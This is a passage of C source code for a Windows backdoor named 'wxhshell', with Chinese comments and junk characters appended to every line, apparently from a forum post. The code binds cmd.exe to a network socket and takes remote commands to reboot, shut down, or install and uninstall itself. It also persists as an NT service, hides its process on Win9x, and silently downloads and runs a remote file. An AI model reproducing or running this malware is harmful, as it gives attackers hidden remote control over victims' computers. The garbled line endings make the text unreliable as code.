^w/_hY!4/  
    switch(cmd[0]) { qM~ev E$%  
  rhGHR5 g  
  // 帮助 |[7xTD  
  case '?': { ,b%T[s7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); llXyM */  
    break; s_}T -%\  
  } ,|,DXw  
  // 安装 uW3`gwwlU  
  case 'i': { 3Sv<Viuo  
    if(Install()) &'uFy0d,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pwn"!pk  
    else 5*l~7R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (,#Rj$W  
    break; (p08jR '5  
    } AL74q[>  
  // 卸载 .H {  
  case 'r': { FIG3P))  
    if(Uninstall()) s-!Bpr16o0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gJ6 C&8tl  
    else {{7%z4l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %]S~PKx  
    break; 2It$ bz  
    } (vMC.y5  
  // 显示 wxhshell 所在路径 wg\*FfQn  
  case 'p': { yJkERiJV  
    char svExeFile[MAX_PATH]; 8.3888  
    strcpy(svExeFile,"\n\r"); B#9rqC  
      strcat(svExeFile,ExeFile); Z[[ou?c  
        send(wsh,svExeFile,strlen(svExeFile),0); -]\cUQ0  
    break; (\}>+qS[  
    } ^|M\vO  
  // 重启 .>NhC"  
  case 'b': { Yj99[ c#]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P$?3\`U;  
    if(Boot(REBOOT)) 20h|e+3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (=c R;\s<  
    else { c%%r  
    closesocket(wsh); xs_l+/cZ  
    ExitThread(0); ~GZ!;An  
    } `!rH0]vy  
    break; UE33e(Q<  
    } t2d _XQOK  
  // 关机 28>PmH]7  
  case 'd': { Ao~ZK[u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o_>id^$>B  
    if(Boot(SHUTDOWN)) zY6{ OP!#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R{uq8NA- W  
    else { 5|&8MGW-$  
    closesocket(wsh); b37P[Q3  
    ExitThread(0); P[6@1  
    } 6UOV,`:m+  
    break; *$mDu,'8  
    } *)+1BYMo  
  // 获取shell lX$6U| !  
  case 's': { G66A]FIg  
    CmdShell(wsh); 8@S7_x  
    closesocket(wsh); F[uy'~;@  
    ExitThread(0); q|,cMPS3  
    break; HO%atE$>  
  } bkk1_X  
  // 退出 R L&z\S  
  case 'x': { <+ 0cQq=2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \W$bOp  
    CloseIt(wsh); ENW>bS8 e`  
    break; =@$G3DM  
    } EooQLZ  
  // 离开 p"" #Gbwj  
  case 'q': { (%*CfR:>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v3SH+Ej4  
    closesocket(wsh); # hvLv  
    WSACleanup(); D5x }V  
    exit(1); QB p`r#{I{  
    break; v).V&":  
        } <\uz",e}  
  } /Qi;'h]  
  } &iCE/  
vM@2C'  
  // 提示信息 U%oh ?g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~^jdiy5  
} .1R:YNx{/  
  } _q*4+x  
Du@?j7&l=$  
  return; .R5[bXxe7  
} r_/=iYYJ  
_hT-5)1r  
// shell模块句柄 5A(zQ'6  
int CmdShell(SOCKET sock) ]l\'1-/  
{ # LRN@?P  
STARTUPINFO si; P{2V@ <}  
ZeroMemory(&si,sizeof(si)); o|#Mq"od  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PR rf$& u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8`Wj 1 ,q  
PROCESS_INFORMATION ProcessInfo; V?"X0>]0  
char cmdline[]="cmd"; b=[gK|fu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `;Qw/xl_N  
  return 0; t<S]YA~N'  
} e45gjjts  
-WiOs;2~/  
// 自身启动模式 YNV!(>\GE  
int StartFromService(void) py#`  
{ nd)Z0%xo  
typedef struct h!# (.P  
{ :EOx>Pf_9)  
  DWORD ExitStatus; $50rj  
  DWORD PebBaseAddress; 0].x8{~o  
  DWORD AffinityMask; (bEX"U-  
  DWORD BasePriority; P(OgT/7A  
  ULONG UniqueProcessId; a(}dF?M=  
  ULONG InheritedFromUniqueProcessId; vd>K=! J  
}   PROCESS_BASIC_INFORMATION; |X&.+RI  
hT:+x3  
PROCNTQSIP NtQueryInformationProcess; @j +8M  
7w}D2|+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x:'M\c7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B&^WRM;7t  
ke.{wh\0  
  HANDLE             hProcess; VrL==aTYXs  
  PROCESS_BASIC_INFORMATION pbi; .XPcH(q  
gp07I{0~m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v @zpF)|  
  if(NULL == hInst ) return 0; "E`;8SZa  
%ux%=@%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QoZ7l]^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b~F(2[o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xs<~[l  
3#fu; ??1.  
  if (!NtQueryInformationProcess) return 0; 7P3PQ%:  
d D6I @N)X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _isqk~ ul  
  if(!hProcess) return 0; TMt,\gTd  
Nxk3uF^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4o,%}bo&  
>:W7f2%8`  
  CloseHandle(hProcess); >7@kwj-f)  
$Pa7B]A,Ae  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uK6_HvHuy  
if(hProcess==NULL) return 0; w)x`zVwO  
3L2@C%  
HMODULE hMod; .Q'/e>0  
char procName[255]; q^{Z"ifL  
unsigned long cbNeeded; k2>gnk0  
z;Pr] *F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]RYk Y7>`  
+<p?i]3CHe  
  CloseHandle(hProcess); -QH[gi{%`  
dc#Db~v}k  
if(strstr(procName,"services")) return 1; // 以服务启动 % :?_N  
&P8 Run  
  return 0; // 注册表启动 v IBVp  
} rEI]{?eoF  
YG2rJY+*  
// 主模块 L #'N  
int StartWxhshell(LPSTR lpCmdLine) :,.g_@wvG  
{ M6n9>aW4  
  SOCKET wsl; KP)BD;  
BOOL val=TRUE; x;H#-^LxW=  
  int port=0; RB]K?  
  struct sockaddr_in door; k~|nU  
F\m  
  if(wscfg.ws_autoins) Install(); ^B9rt\,q  
{0(:7IY,  
port=atoi(lpCmdLine); -9BKa~ DVQ  
xw60l&s.\L  
if(port<=0) port=wscfg.ws_port; l!2hwRR  
u3{gX{so  
  WSADATA data; Y-(),k_Q:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HV:mS*e  
EZvB#cuL-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X]'Hz@$N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <pd6,l\  
  door.sin_family = AF_INET; 5j(3pV`_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $V"NB`T  
  door.sin_port = htons(port); qX'w}nJ}H}  
xl5n(~g)p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $YDZtS&h  
closesocket(wsl); 7mulNq  
return 1; S@suPkQ<>  
} nJ/wtw  
,#^<0u+zrF  
  if(listen(wsl,2) == INVALID_SOCKET) { N*t91 X  
closesocket(wsl); r4Ygy/%  
return 1; ZdQm& ?  
} y^; =+Z  
  Wxhshell(wsl); uA;3R\6?  
  WSACleanup(); wK 8/`{B9  
/>fP )56*  
return 0; MWSx8R)PN  
?f+w:FO  
} G?-27Jk8  
y<YVb@O.  
// 以NT服务方式启动 AYHfe#!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fn|l9k~<O  
{ #plwK-tPR  
DWORD   status = 0; o l 67x  
  DWORD   specificError = 0xfffffff; _]E ~ci}  
Hfer\+RX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DM6oMT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o/I<)sa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; myH:bc>6  
  serviceStatus.dwWin32ExitCode     = 0; o{*8l#x8  
  serviceStatus.dwServiceSpecificExitCode = 0; pL$UI3VCP  
  serviceStatus.dwCheckPoint       = 0; OwIW;8Z  
  serviceStatus.dwWaitHint       = 0; I`h9P2~  
)Q 8T`Tly  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); & -  
  if (hServiceStatusHandle==0) return; W5-p0,?[6  
GE$spx  
status = GetLastError(); 02X~' To"  
  if (status!=NO_ERROR) *AXu_^^  
{ a/+tsbw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SsjO1F  
    serviceStatus.dwCheckPoint       = 0; -B2>~#L  
    serviceStatus.dwWaitHint       = 0; cOUsbxYTD  
    serviceStatus.dwWin32ExitCode     = status; u(JC 4w'  
    serviceStatus.dwServiceSpecificExitCode = specificError; HMNjQ 1y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); * [*#cMZ   
    return; 6G"AP~|0  
  } x8p#WB  
|u)?h] >  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p7(xk6W  
  serviceStatus.dwCheckPoint       = 0; Ty%4#9``0  
  serviceStatus.dwWaitHint       = 0; /:>f$k4~h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ygn"7  
} 2F-!SI  
lj.z>  
// 处理NT服务事件,比如:启动、停止 84P^7[YX>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h$ M+Yo+  
{ k ]x64hgm  
switch(fdwControl) ~BCSm]j  
{ ~\hA-l36  
case SERVICE_CONTROL_STOP: I/9ZUxQCyG  
  serviceStatus.dwWin32ExitCode = 0; %" $.2O@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zW%-Z6%D  
  serviceStatus.dwCheckPoint   = 0; !m pRLBH  
  serviceStatus.dwWaitHint     = 0; D8_m_M| P  
  { 7dX1.}M<(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h 88iZK  
  } f(DGC2R <  
  return; A <iF37.  
case SERVICE_CONTROL_PAUSE: e =& abu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ld94ek  
  break; 7"=  
case SERVICE_CONTROL_CONTINUE: ,oDZ:";  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g'Ft5fQ"o/  
  break; j._9;HifZ  
case SERVICE_CONTROL_INTERROGATE: ltt%X].[  
  break; >82Q!HaH  
}; E?&dZR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'q1)W'  
} sCaw"{5qc  
/exV6D r  
// 标准应用程序主函数 u7@|fND 7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %'`Dd  
{ 'jcDfv(v<  
iAf, :g  
// 获取操作系统版本 qsFA~{o.  
OsIsNt=GetOsVer(); oypq3V=5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XPzwT2_E  
=,-80WNsX  
  // 从命令行安装 6fPuTQ}fY>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,e>C)wq;  
M#})  
  // 下载执行文件 /'E+(Y&:J  
if(wscfg.ws_downexe) { $$ {ebt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %kNkDI  
  WinExec(wscfg.ws_filenam,SW_HIDE); *%ZfE,bu8<  
} j]J2,J  
qfppJ8L  
if(!OsIsNt) { s;}';#  
// 如果时win9x,隐藏进程并且设置为注册表启动 Mim 9C]h(  
HideProc(); e@p` -;<  
StartWxhshell(lpCmdLine); hr@KWE`  
} A3&8@/6,  
else -+|0LXo  
  if(StartFromService()) B/E1nBobC  
  // 以服务方式启动 D8h ?s  
  StartServiceCtrlDispatcher(DispatchTable); }<FBcc(n  
else Qo?"hgjlqm  
  // 普通方式启动 (0D0G-r:  
  StartWxhshell(lpCmdLine); Ym& _IOx  
@Qruc\_  
return 0; &Z=}H0y q  
}
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只看该作者 1 发表于: 2006-10-10
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